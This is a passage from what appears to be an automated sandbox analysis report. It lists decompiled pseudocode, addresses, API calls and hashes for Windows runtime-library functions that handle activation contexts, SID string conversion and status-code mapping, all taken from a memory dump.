0x6ce00bb1
0x6ce00bbc
0x6ce00bc2

APIs

RtlIpv6StringToAddressW.1105(?,?,00000000,00000000), ref: 6CE00BAA

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressIpv6String
String ID:
API String ID: 27538981-0
Opcode ID: b690b3803644220c55924738faed87d42b98be9f139281c8459cf90186e800ac
Instruction ID: fae080ac16e0f8e6afd0c5586bee1d6046581aae53e6a9468092aaebdd22e473
Opcode Fuzzy Hash: b690b3803644220c55924738faed87d42b98be9f139281c8459cf90186e800ac
Instruction Fuzzy Hash: 28617932A483518BEB24CE68DC41BBE73F19F5172CF74416AE450E77C0EBB998518AD0

Uniqueness

Uniqueness Score: -1.00%

Function 6CE08D29, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 200
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E6CE08D29(intOrPtr __ecx, intOrPtr* _a4, intOrPtr _a8, signed int* _a12) {
				char _v8;
				signed int _v12;
				void* _v16;
				char _v20;
				char _v24;
				intOrPtr _v28;
				void* _t104;
				signed int _t106;
				intOrPtr _t110;
				intOrPtr _t111;
				intOrPtr _t113;
				signed char* _t147;
				signed int _t149;
				intOrPtr _t152;
				void* _t156;
				intOrPtr _t158;
				intOrPtr _t159;
				intOrPtr _t163;
				intOrPtr* _t164;
				intOrPtr _t165;
				intOrPtr* _t166;
				signed int* _t167;
				intOrPtr* _t168;
				signed int* _t169;
				signed int _t170;
				signed int _t172;
				void* _t174;
				short* _t175;
				short* _t176;
				void* _t177;
				void* _t178;
				void* _t187;

				_t152 = __ecx;
				_v12 = _v12 & 0x00000000;
				_t167 = _a12;
				_v28 = __ecx;
				_v20 = 0xc00000e5;
				if(_t167 != 0) {
					 *_t167 =  *_t167 & 0x00000000;
				}
				_push( &_v24);
				_t172 = 1;
				_push( &_v16);
				_push(1);
				_push(_t152);
				_push(_t152);
				_t149 = 0x30;
				_push(_t149);
				_push(_t167);
				_push(_a8);
				_push(_a4);
				E6CE31D47( &_v20);
				if(_v12 == 0) {
					return _v20;
				} else {
					_push( &_v8);
					_push( &_v20);
					_t178 = _t177 - 0x14;
					_push( &_v12);
					_push( &_v12);
					_t104 = E6CE08EE6(_v16, _v24);
					if(_t104 < 0) {
						return _t104;
					}
					_t163 = _v28;
					_t106 =  *((intOrPtr*)(_t163 + 0x18)) + _t163;
					_v12 = _t106;
					_t156 =  *((intOrPtr*)(_t106 + 0xc)) + _t163;
					if(1 >=  *((intOrPtr*)(_t106 + 8))) {
						L8:
						if(_t187 == 0) {
							_push(_t163);
							E6CE95720(0x33, 0, "SXS: %s() found activation context data at %p with assembly roster that has no root\n", "RtlpQueryInformationActivationContextDetailedInformation");
							return 0xc0150003;
						}
						_t158 =  *((intOrPtr*)(_t172 * 0x18 + _t156 + 0x10)) + _t163;
						_v20 = _t158;
						_t33 = _t158 + 0x14; // 0x0
						_t110 =  *_t33;
						if(_t110 != 0) {
							_t34 = _t110 + 0x32; // 0x6ce51822
							_t149 = _t34;
						}
						_t35 = _t158 + 0x28; // 0xffffffc4
						_t111 =  *_t35;
						if(_t111 != 0) {
							_t149 = _t149 + 2 + _t111;
						}
						_t113 =  *((intOrPtr*)(_v8 + 0x2c));
						if(_t113 != 0) {
							_t149 = _t149 + 2 + _t113;
						}
						if(_t149 <= _a8) {
							_t168 = _a4;
							_t174 = _a4 + 0x30;
							 *_t168 =  *((intOrPtr*)(_t163 + 0x1c));
							_t164 = _t168;
							 *((intOrPtr*)(_t164 + 4)) =  *((intOrPtr*)(_t163 + 8));
							 *((intOrPtr*)(_t164 + 8)) =  *((intOrPtr*)(_v12 + 8)) - 1;
							_t47 = _t158 + 0x10; // 0xfffffffe
							 *((intOrPtr*)(_t164 + 0xc)) =  *_t47;
							_t49 = _t158 + 0x14; // 0x0
							 *(_t164 + 0x24) =  *(_t164 + 0x24) & 0x00000000;
							 *(_t164 + 0x10) =  *_t49 >> 1;
							_t53 = _t158 + 0x24; // 0x0
							 *((intOrPtr*)(_t164 + 0x14)) =  *_t53;
							_t55 = _t158 + 0x28; // 0xffffffc4
							 *(_t164 + 0x28) =  *(_t164 + 0x28) & 0x00000000;
							 *(_t164 + 0x18) =  *_t55 >> 1;
							_t165 = _v8;
							 *((intOrPtr*)(_t168 + 0x1c)) =  *((intOrPtr*)(_t165 + 0x28));
							_t166 = _t168;
							_t169 = _a12;
							 *(_t166 + 0x2c) =  *(_t166 + 0x2c) & 0x00000000;
							 *(_t166 + 0x20) =  *(_t165 + 0x2c) >> 1;
							if( *(_t158 + 0x14) != 0) {
								_t68 = _t158 + 0x14; // 0x0
								_t69 = _t158 + 0x18; // 0x6ce74765
								memcpy(_t174,  *_t69 + _v16,  *_t68);
								_t178 = _t178 + 0xc;
								_t158 = _v20;
								 *(_a4 + 0x24) = _t174;
								_t176 = _t174 +  *(_t158 + 0x14);
								 *_t176 = 0;
								_t174 = _t176 + 2;
							}
							if( *(_t158 + 0x28) != 0) {
								_t86 = _t158 + 0x28; // 0xffffffc4
								_t87 = _t158 + 0x2c; // 0x0
								memcpy(_t174,  *_t87 + _v16,  *_t86);
								_t178 = _t178 + 0xc;
								 *(_a4 + 0x28) = _t174;
								_t175 = _t174 +  *((intOrPtr*)(_v20 + 0x28));
								 *_t175 = 0;
								_t174 = _t175 + 2;
							}
							_t159 = _v8;
							if( *(_t159 + 0x2c) != 0) {
								memcpy(_t174,  *((intOrPtr*)(_t159 + 0x30)) + _t159,  *(_t159 + 0x2c));
								 *(_a4 + 0x2c) = _t174;
								 *((short*)(_t174 +  *((intOrPtr*)(_v8 + 0x2c)))) = 0;
							}
							if(_t169 != 0) {
								 *_t169 = _t149;
							}
							return 0;
						} else {
							if(_t167 != 0) {
								 *_t167 = _t149;
							}
							return 0xc0000023;
						}
					}
					_t170 = _v12;
					_t24 = _t156 + 0x18; // 0x116
					_t147 = _t24;
					while(( *_t147 & 0x00000002) == 0) {
						_t172 = _t172 + 1;
						_t147 =  &(_t147[0x18]);
						if(_t172 <  *((intOrPtr*)(_t170 + 8))) {
							continue;
						}
						break;
					}
					_t167 = _a12;
					_t187 = _t172 -  *((intOrPtr*)(_v12 + 8));
					goto L8;
				}
			}

0x6ce08d29
0x6ce08d31
0x6ce08d38
0x6ce08d3b
0x6ce08d3e
0x6ce08d47
0x6ce08d49
0x6ce08d49
0x6ce08d51
0x6ce08d55
0x6ce08d56
0x6ce08d57
0x6ce08d58
0x6ce08d59
0x6ce08d5c
0x6ce08d5d
0x6ce08d5e
0x6ce08d5f
0x6ce08d65
0x6ce08d6b
0x6ce08d76
0x00000000
0x6ce08d7c
0x6ce08d82
0x6ce08d86
0x6ce08d87
0x6ce08d8d
0x6ce08d8e
0x6ce08d92
0x6ce08d99
0x6ce08e14
0x6ce08e14
0x6ce08d9b
0x6ce08da1
0x6ce08da3
0x6ce08da9
0x6ce08dae
0x6ce08dc8
0x6ce08dc8
0x6ce6348b
0x6ce6349a
0x00000000
0x6ce634a2
0x6ce08dd5
0x6ce08dd7
0x6ce08dda
0x6ce08dda
0x6ce08ddf
0x6ce08de1
0x6ce08de1
0x6ce08de1
0x6ce08de4
0x6ce08de4
0x6ce08de9
0x6ce634af
0x6ce634af
0x6ce08df2
0x6ce08df7
0x6ce08dfc
0x6ce08dfc
0x6ce08e01
0x6ce08e1a
0x6ce08e20
0x6ce08e23
0x6ce08e28
0x6ce08e2a
0x6ce08e34
0x6ce08e37
0x6ce08e3a
0x6ce08e3d
0x6ce08e40
0x6ce08e46
0x6ce08e49
0x6ce08e4c
0x6ce08e4f
0x6ce08e52
0x6ce08e58
0x6ce08e5b
0x6ce08e61
0x6ce08e67
0x6ce08e69
0x6ce08e6e
0x6ce08e72
0x6ce08e79
0x6ce08e7b
0x6ce08e7e
0x6ce08e86
0x6ce08e8e
0x6ce08e91
0x6ce08e94
0x6ce08e99
0x6ce08e9c
0x6ce08e9f
0x6ce08e9f
0x6ce08ea6
0x6ce634b6
0x6ce634b9
0x6ce634c1
0x6ce634c9
0x6ce634cc
0x6ce634d2
0x6ce634d7
0x6ce634da
0x6ce634da
0x6ce08eac
0x6ce08eb3
0x6ce08ebf
0x6ce08ecc
0x6ce08ed5
0x6ce08ed5
0x6ce08edb
0x6ce08edd
0x6ce08edd
0x00000000
0x6ce08e03
0x6ce08e05
0x6ce08e07
0x6ce08e07
0x00000000
0x6ce08e09
0x6ce08e01
0x6ce08db0
0x6ce08db3
0x6ce08db3
0x6ce08db6
0x6ce63479
0x6ce6347a
0x6ce63480
0x00000000
0x00000000
0x00000000
0x6ce63486
0x6ce08dc2
0x6ce08dc5
0x00000000
0x6ce08dc5

APIs

memcpy.1105(-00000030,?,00000000,?,00000000,?,?,6CE517F0,00000000,?,00000000,?), ref: 6CE08E86
memcpy.1105(-00000030,?,?,?,00000000,?,?,6CE517F0,00000000,?,00000000,?), ref: 6CE08EBF

Strings

SXS: %s() found activation context data at %p with assembly roster that has no root, xrefs: 6CE63491
RtlpQueryInformationActivationContextDetailedInformation, xrefs: 6CE6348C

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy
String ID: RtlpQueryInformationActivationContextDetailedInformation$SXS: %s() found activation context data at %p with assembly roster that has no root
API String ID: 3510742995-1732449319
Opcode ID: 29f2a0c56c223e8c7c049f2784cb9f789603f2d8d691eb391569e43c29894598
Instruction ID: a447a1631916fcb7257c24bac0fc853e240ed2b431f74ade42b449ad0617ad95
Opcode Fuzzy Hash: 29f2a0c56c223e8c7c049f2784cb9f789603f2d8d691eb391569e43c29894598
Instruction Fuzzy Hash: 8E714CB1A00219DFDB10CF58C880A9AB7F5FF58318F25469AE8189B752D331ED96CBD4

Uniqueness

Uniqueness Score: -1.00%

Function 6CE220A0, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 199
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E6CE220A0(intOrPtr* __ecx) {
				signed int _v0;
				signed int _v8;
				signed char _v60;
				signed int* _v64;
				signed char _v68;
				signed int* _v72;
				intOrPtr _v76;
				signed int* _v84;
				signed int* _v88;
				char _v92;
				signed int _v96;
				signed char _v100;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char _t111;
				void* _t133;
				signed char _t134;
				signed int* _t135;
				signed int* _t136;
				signed char _t138;
				signed int* _t142;
				signed int* _t144;
				void* _t145;
				intOrPtr* _t147;
				void* _t149;
				signed int _t152;
				signed int _t154;

				_t154 = (_t152 & 0xfffffff8) - 0x64;
				_v8 =  *0x6cefd360 ^ _t154;
				_t144 =  *( *[fs:0x18] + 0x1a8);
				_t147 = __ecx;
				if(_t144 == 0) {
					_t142 = 0;
				} else {
					_t142 =  *_t144;
				}
				_t138 =  *(_t147 + 0x10);
				if((_t138 & 0x00000040) != 0) {
					_v84 = 0;
					_v76 = 3;
					_v72 = 0;
					_v68 = _t147 + 8;
					_v64 =  *_t144;
					_push( &_v92);
					_v92 = 0xc0150011;
					_v88 = 0;
					_t104 = E6CE5DEF0(_t138, _t142);
					goto L12;
				} else {
					if((_t138 & 0x00000020) == 0) {
						_v84 = 0;
						_v76 = 3;
						_v72 = 0;
						_v68 = _t147 + 8;
						_v64 =  *_t144;
						_v92 = 0xc0150010;
						L25:
						_v88 = 1;
						_push( &_v92);
						_t104 = E6CE5DEF0(_t138, _t142);
						L12:
						_pop(_t145);
						_pop(_t149);
						_pop(_t133);
						return E6CE4B640(_t104, _t133, _v0 ^ _t154, _t142, _t145, _t149);
					}
					_t104 = _t138 & 0x00000060;
					if((_t138 & 0x00000060) != 0x20) {
						_v84 = 0;
						_v76 = 4;
						_v72 = _t144;
						_v68 = _t142;
						_v64 = _t147 + 8;
						_v60 = _t138;
						_v92 = 0xc0150014;
						goto L25;
					}
					if( *_t147 < 0x24) {
						L8:
						if(_t142 != 0) {
							_t134 = _t142[2];
							_t104 = _t134 & 0x00000070;
							if((_t134 & 0x00000070) != 0x20) {
								L28:
								_v84 = 0;
								_v76 = 4;
								_v72 = _t144;
								_v68 = _t142;
								_v64 = _t142;
								_v60 = _t142[2];
								_v92 = 0xc0150014;
								goto L25;
							}
							if((_t134 & 0x00000008) != 0 ||  *((intOrPtr*)(_t142 - 8)) < 0x24) {
								goto L9;
							} else {
								if(_t142[3] !=  !( *_t142)) {
									goto L28;
								}
								_t104 =  !(_t142[1]);
								if(_t142[4] ==  !(_t142[1])) {
									goto L9;
								}
								goto L28;
							}
						}
						L9:
						if((_t138 & 0x00000010) == 0) {
							_t27 = _t147 + 8; // 0x2c
							_t135 = _t27;
							if(_t142 != _t135) {
								_t111 =  *_t144;
								_push(_t135);
								_push(_t111);
								_v100 = _t111;
								_v96 =  *_t135;
								E6CE95720(0x33, 2, "SXS: %s() Active frame is not the frame being deactivated %p != %p\n", "RtlDeactivateActivationContextUnsafeFast");
								_t138 = _v100;
								_t154 = _t154 + 0x18;
								_t142 = 0;
								if(_t138 == 0) {
									L36:
									_v84 = 0;
									_v76 = 3;
									_v72 = _t142;
									_v68 = _t135;
									_v64 =  *_t144;
									if(_t138 == 0) {
										_v92 = 0xc0150010;
										_v88 = 1;
									} else {
										_v88 = 0;
										_v92 = (0 | _t142 == 0x00000000) * 2 - 0x3feafff1;
									}
									_push( &_v92);
									E6CE5DEF0(_t138, _t142);
									goto L20;
								}
								while(_t138 != _v96) {
									if(( *(_t138 + 8) & 0x00000070) != 0x20 || ( *(_t138 + 8) & 0x00000008) == 0 && ( *((intOrPtr*)(_t138 + 0xc)) !=  !( *_t138) ||  *((intOrPtr*)(_t138 + 0x10)) !=  !( *(_t138 + 4)))) {
										_v84 = 0;
										_v76 = 4;
										_v72 = _t144;
										_v68 = _t138;
										_v64 = _t135;
										_v60 =  *(_t138 + 8);
										_v92 = 0xc0150014;
										goto L25;
									} else {
										_t138 =  *_t138;
										_t142 =  &(_t142[0]);
										if(_t138 != 0) {
											continue;
										}
										goto L36;
									}
								}
								goto L36;
							}
							L20:
							_t104 =  *_t135;
							 *_t144 =  *_t135;
						}
						 *(_t147 + 0x10) =  *(_t147 + 0x10) | 0x00000040;
						if( *_t147 >= 0x24) {
							_t104 = _v0;
							 *(_t147 + 0x20) = _v0;
						}
						goto L12;
					}
					_t9 = _t147 + 8; // 0x2c
					_t136 = _t9;
					if( *((intOrPtr*)(_t147 + 0x14)) !=  !( *(_t147 + 8))) {
						L27:
						_v84 = 0;
						_v76 = 4;
						_v72 = _t144;
						_v68 = _t142;
						_v64 = _t136;
						_v60 = _t138;
						_v92 = 0xc0150014;
						goto L25;
					}
					_t104 =  !( *(_t147 + 0xc));
					if( *((intOrPtr*)(_t147 + 0x18)) !=  !( *(_t147 + 0xc))) {
						goto L27;
					}
					goto L8;
				}
			}

0x6ce220a8
0x6ce220b2
0x6ce220bf
0x6ce220c5
0x6ce220c9
0x6ce6cfc8
0x6ce220cf
0x6ce220cf
0x6ce220cf
0x6ce220d1
0x6ce220d7
0x6ce6cfd2
0x6ce6cfda
0x6ce6cfe2
0x6ce6cfea
0x6ce6cff0
0x6ce6cff8
0x6ce6cff9
0x6ce6d001
0x6ce6d009
0x00000000
0x6ce220dd
0x6ce220e0
0x6ce6d016
0x6ce6d01e
0x6ce6d026
0x6ce6d02e
0x6ce6d034
0x6ce6d038
0x6ce6d06d
0x6ce6d071
0x6ce6d079
0x6ce6d07a
0x6ce2212e
0x6ce22132
0x6ce22133
0x6ce22134
0x6ce2213f
0x6ce2213f
0x6ce220e8
0x6ce220ec
0x6ce6d087
0x6ce6d08f
0x6ce6d097
0x6ce6d09b
0x6ce6d09f
0x6ce6d0a3
0x6ce6d0a7
0x00000000
0x6ce6d0a7
0x6ce220f5
0x6ce22116
0x6ce22118
0x6ce22140
0x6ce22145
0x6ce22149
0x6ce6d0db
0x6ce6d0db
0x6ce6d0e3
0x6ce6d0eb
0x6ce6d0ef
0x6ce6d0f3
0x6ce6d0fa
0x6ce6d0fe
0x00000000
0x6ce6d0fe
0x6ce22152
0x00000000
0x6ce2215a
0x6ce22161
0x00000000
0x00000000
0x6ce2216a
0x6ce2216f
0x00000000
0x00000000
0x00000000
0x6ce22171
0x6ce22152
0x6ce2211a
0x6ce2211d
0x6ce22176
0x6ce22176
0x6ce2217b
0x6ce6d10b
0x6ce6d10f
0x6ce6d110
0x6ce6d11f
0x6ce6d123
0x6ce6d127
0x6ce6d12c
0x6ce6d130
0x6ce6d133
0x6ce6d137
0x6ce6d174
0x6ce6d174
0x6ce6d17c
0x6ce6d184
0x6ce6d188
0x6ce6d18e
0x6ce6d194
0x6ce6d1b2
0x6ce6d1ba
0x6ce6d196
0x6ce6d198
0x6ce6d1ac
0x6ce6d1ac
0x6ce6d1c6
0x6ce6d1c7
0x00000000
0x6ce6d1c7
0x6ce6d139
0x6ce6d146
0x6ce6d042
0x6ce6d04a
0x6ce6d052
0x6ce6d056
0x6ce6d05a
0x6ce6d061
0x6ce6d065
0x00000000
0x6ce6d16d
0x6ce6d16d
0x6ce6d16f
0x6ce6d172
0x00000000
0x00000000
0x00000000
0x6ce6d172
0x6ce6d146
0x00000000
0x6ce6d139
0x6ce22181
0x6ce22181
0x6ce22183
0x6ce22183
0x6ce2211f
0x6ce22126
0x6ce22128
0x6ce2212b
0x6ce2212b
0x00000000
0x6ce22126
0x6ce220fa
0x6ce220fa
0x6ce22102
0x6ce6d0b1
0x6ce6d0b1
0x6ce6d0b9
0x6ce6d0c1
0x6ce6d0c5
0x6ce6d0c9
0x6ce6d0cd
0x6ce6d0d1
0x00000000
0x6ce6d0d1
0x6ce2210b
0x6ce22110
0x00000000
0x00000000
0x00000000
0x6ce22110

APIs

RtlRaiseException.1105(?), ref: 6CE6D009
RtlRaiseException.1105(C0150010), ref: 6CE6D07A
DbgPrintEx.1105(00000033,00000002,SXS: %s() Active frame is not the frame being deactivated %p != %p,RtlDeactivateActivationContextUnsafeFast,?,0000002C,?,00000000,000000FF), ref: 6CE6D127
RtlRaiseException.1105(C0150010), ref: 6CE6D1C7

Strings

RtlDeactivateActivationContextUnsafeFast, xrefs: 6CE6D111
SXS: %s() Active frame is not the frame being deactivated %p != %p, xrefs: 6CE6D116

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionRaise$Print
String ID: RtlDeactivateActivationContextUnsafeFast$SXS: %s() Active frame is not the frame being deactivated %p != %p
API String ID: 3901562751-4142264681
Opcode ID: e95b8d83949b1823c715f2884463b91327748ec1f42f70fa9e1df002b1eeb172
Instruction ID: 6198446f8d9c6ec24beea8fdcfeec801b2c0d30cca515c0819e900c332863767
Opcode Fuzzy Hash: e95b8d83949b1823c715f2884463b91327748ec1f42f70fa9e1df002b1eeb172
Instruction Fuzzy Hash: 5F8157B5958301CFD350CF1AC084B0AFBF1BB89358F644A1EE5998BB50D375D686CB82

Uniqueness

Uniqueness Score: -1.00%

Function 6CE1A500, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 172
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E6CE1A500(void* __ebx, void* __esi, void* __eflags, intOrPtr _a4, void* _a8, char _a12) {
				signed int _v8;
				char _v10;
				char _v12;
				char _v508;
				char _v512;
				void _v520;
				struct _EXCEPTION_RECORD _v524;
				intOrPtr _v528;
				char _v532;
				void* __edi;
				void* __ebp;
				void* _t49;
				WCHAR* _t62;
				int _t65;
				void* _t80;
				signed char _t81;
				struct _EXCEPTION_RECORD _t82;
				int _t95;
				short _t98;
				void* _t112;
				short* _t114;
				signed short _t116;
				int _t117;
				signed int _t119;
				void* _t120;
				void* _t121;

				_t113 = __esi;
				_t80 = __ebx;
				_v8 =  *0x6cefd360 ^ _t119;
				_t112 = _a8;
				_push(_t112);
				_v524 = _a4;
				_t49 = E6CE1A860(__eflags);
				if(_t49 != 1 ||  *_t112 != _t49) {
					_t50 = 0xc0000078;
					goto L25;
				} else {
					_push(__esi);
					E6CE571A0( &_v520, 0x100, L"S-1-");
					_t121 = _t120 + 0xc;
					_t114 =  &_v512;
					if( *(_t112 + 2) != 0 ||  *(_t112 + 3) != 0) {
						E6CE57110( &_v520, 0x100, 0x6cdf292c);
						_t114 =  &_v508;
						_t121 = _t121 + 0xc;
						_v528 = ( *(_t112 + 3) & 0x000000ff) + (( *(_t112 + 2) & 0x000000ff) << 8);
						_push(_t114);
						_v532 = (((( *(_t112 + 4) & 0x000000ff) << 8) + ( *(_t112 + 5) & 0x000000ff) << 8) + ( *(_t112 + 6) & 0x000000ff) << 8) + ( *(_t112 + 7) & 0x000000ff);
						_push(0xfa);
						_t50 = E6CEA5BFD(_t80,  &_v532, _t112, _t114, __eflags);
					} else {
						_t111 = 0xa;
						_t50 = E6CE1A6C0((((( *(_t112 + 4) & 0x000000ff) << 8) + ( *(_t112 + 5) & 0x000000ff) << 8) + ( *(_t112 + 6) & 0x000000ff) << 8) + ( *(_t112 + 7) & 0x000000ff), 0xa, 0xfc, _t114);
					}
					if(_t50 < 0) {
						L24:
						_pop(_t113);
						L25:
						return E6CE4B640(_t50, _t80, _v8 ^ _t119, _t111, _t112, _t113);
					} else {
						_push(_t80);
						_t81 = 0;
						if( *((intOrPtr*)(_t112 + 1)) <= 0) {
							L14:
							if(_a12 != 0) {
								_t62 =  &_v520;
								RtlCreateUnicodeString(_v524, _t62);
								__eflags = _t62;
								if(_t62 != 0) {
									L22:
									_t50 = 0;
									L23:
									_pop(_t80);
									goto L24;
								}
								_t50 = 0xc0000017;
								goto L23;
							}
							if(_t114 >=  &_v10) {
								L18:
								_t82 = _v524;
								_t116 = _t114 -  &_v520 & 0xfffffffe;
								_t65 =  *(_t82 + 2) & 0x0000ffff;
								_t95 = _t65;
								if(_t116 >= _t95) {
									_t50 = 0x80000005;
									goto L23;
								}
								_t112 =  *(_t82 + 4);
								_t117 = _t116 & 0x0000ffff;
								if(_t117 > _t65) {
									_t117 = _t95;
								}
								 *_t82 = _t117;
								memcpy(_t112,  &_v520, _t117);
								if(( *_t82 & 0x0000ffff) + 2 <= ( *(_t82 + 2) & 0x0000ffff)) {
									 *((short*)(_t112 + (_t117 >> 1) * 2)) = 0;
								}
								goto L22;
							}
							while( *_t114 != 0) {
								_t114 = _t114 + 2;
								if(_t114 <  &_v10) {
									continue;
								}
								goto L18;
							}
							goto L18;
						}
						_t98 = 0x2d;
						do {
							if(_t114 >=  &_v12) {
								L12:
								 *_t114 = _t98;
								_t114 = _t114 + 2;
								_t111 = 0xa;
								if(E6CE1A6C0( *((intOrPtr*)(_t112 + 8 + (_t81 & 0x000000ff) * 4)), 0xa, 0x100 - (_t114 -  &_v520 >> 1), _t114) < 0) {
									goto L23;
								}
								goto L13;
							}
							while( *_t114 != 0) {
								_t114 = _t114 + 2;
								if(_t114 <  &_v12) {
									continue;
								}
								goto L12;
							}
							goto L12;
							L13:
							_t81 = _t81 + 1;
							_t98 = 0x2d;
						} while (_t81 <  *((intOrPtr*)(_t112 + 1)));
						goto L14;
					}
				}
			}

0x6ce1a500
0x6ce1a500
0x6ce1a512
0x6ce1a519
0x6ce1a51c
0x6ce1a51d
0x6ce1a523
0x6ce1a52a
0x6ce6a2c0
0x00000000
0x6ce1a538
0x6ce1a538
0x6ce1a54a
0x6ce1a54f
0x6ce1a552
0x6ce1a55c
0x6ce6a2db
0x6ce6a2e4
0x6ce6a2ee
0x6ce6a2fa
0x6ce6a31d
0x6ce6a31e
0x6ce6a32a
0x6ce6a32f
0x6ce1a56c
0x6ce1a570
0x6ce1a598
0x6ce1a598
0x6ce1a59f
0x6ce1a684
0x6ce1a684
0x6ce1a685
0x6ce1a693
0x6ce1a5a5
0x6ce1a5a5
0x6ce1a5a6
0x6ce1a5ab
0x6ce1a610
0x6ce1a614
0x6ce1a696
0x6ce1a6a3
0x6ce1a6a8
0x6ce1a6aa
0x6ce1a681
0x6ce1a681
0x6ce1a683
0x6ce1a683
0x00000000
0x6ce1a683
0x6ce1a6ac
0x00000000
0x6ce1a6ac
0x6ce1a61f
0x6ce1a631
0x6ce1a631
0x6ce1a63f
0x6ce1a642
0x6ce1a646
0x6ce1a64a
0x6ce1a6b7
0x00000000
0x6ce1a6b7
0x6ce1a64c
0x6ce1a64f
0x6ce1a655
0x6ce1a6b3
0x6ce1a6b3
0x6ce1a65e
0x6ce1a663
0x6ce1a677
0x6ce1a67d
0x6ce1a67d
0x00000000
0x6ce1a677
0x6ce1a621
0x6ce1a627
0x6ce1a62f
0x00000000
0x00000000
0x00000000
0x6ce1a62f
0x00000000
0x6ce1a621
0x6ce1a5ad
0x6ce1a5b2
0x6ce1a5b7
0x6ce1a5d0
0x6ce1a5d0
0x6ce1a5d9
0x6ce1a5dc
0x6ce1a5fe
0x00000000
0x00000000
0x00000000
0x6ce1a5fe
0x6ce1a5c0
0x6ce1a5c6
0x6ce1a5ce
0x00000000
0x00000000
0x00000000
0x6ce1a5ce
0x00000000
0x6ce1a604
0x6ce1a604
0x6ce1a606
0x6ce1a60b
0x00000000
0x6ce1a5b2
0x6ce1a59f

APIs

RtlValidSid.1105(00000050,?), ref: 6CE1A523
wcscpy_s.1105(?,00000100,S-1-,?,00000050,?), ref: 6CE1A54A

Part of subcall function 6CE1A6C0: memcpy.1105(00000000,?,?,?,00000050,?,00000000), ref: 6CE1A781

memcpy.1105(?,?,00000000,00000000,000000FC,?,?,00000050,?), ref: 6CE1A663
RtlCreateUnicodeString.1105(?,?,00000000,000000FC,?,?,00000050,?), ref: 6CE1A6A3
wcscat_s.1105(?,00000100,6CDF292C,?,00000050,?), ref: 6CE6A2DB

Strings

S-1-, xrefs: 6CE1A539

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$CreateStringUnicodeValidwcscat_swcscpy_s
String ID: S-1-
API String ID: 1445283056-1273753892
Opcode ID: 3e1030574b6818eb051391dff5b512662fc8926a5fdd58ce2dd20bb7b11d149d
Instruction ID: 978d06637b31dd50f494dbeba4bedc3fc7d243305fbbc9ad773dbbb6824d9be1
Opcode Fuzzy Hash: 3e1030574b6818eb051391dff5b512662fc8926a5fdd58ce2dd20bb7b11d149d
Instruction Fuzzy Hash: 68512DB1D882655ADB248B288C147F9F7F4AF05304F1542AAE469D3E80E3349AACCBD1

Uniqueness

Uniqueness Score: -1.00%

Function 6CE0CCC0, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 134
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E6CE0CCC0(signed short _a4) {
				intOrPtr _v8;
				signed int _v12;
				char _v20;
				intOrPtr _v28;
				signed int _t36;
				signed short _t39;
				signed int _t46;
				signed int _t55;
				intOrPtr _t57;
				unsigned int _t67;
				intOrPtr _t70;
				signed int _t79;
				void* _t84;
				void* _t90;
				signed int _t92;
				void* _t93;

				_push(0xfffffffe);
				_push(0x6cedf828);
				_push(0x6ce517f0);
				_push( *[fs:0x0]);
				_t36 =  *0x6cefd360;
				_v12 = _v12 ^ _t36;
				_push(_t36 ^ _t92);
				 *[fs:0x0] =  &_v20;
				_v28 = _t93 - 0xc;
				_t57 =  *[fs:0x18];
				if(_t57 == 0) {
					_t39 = _a4;
				} else {
					_v8 = 0;
					_t39 = _a4;
					 *(_t57 + 0xbf4) = _t39;
					_v8 = 0xfffffffe;
				}
				if(_t39 == 0) {
					 *[fs:0x0] = _v20;
					return 0;
				} else {
					if(_t39 == 0x103) {
						 *[fs:0x0] = _v20;
						return 0x3e5;
					} else {
						if((_t39 & 0x20000000) != 0) {
							L16:
							 *[fs:0x0] = _v20;
							return _t39;
						} else {
							if((_t39 & 0x00ff0000) == 0x70000) {
								_t67 = _t39 >> 0x18;
								if(_t67 != 0xc0) {
									if(_t67 != 0x80) {
										goto L6;
									} else {
										goto L21;
									}
								} else {
									goto L21;
								}
							} else {
								L6:
								if((_t39 & 0xf0000000) == 0xd0000000) {
									_t39 = _t39 & 0xcfffffff;
								}
								_t90 = 0;
								_t84 = 0x11e;
								do {
									_t79 = _t84 + _t90 >> 1;
									_t70 =  *((intOrPtr*)(0x6cdea300 + _t79 * 8));
									_t55 = _t39 - _t70;
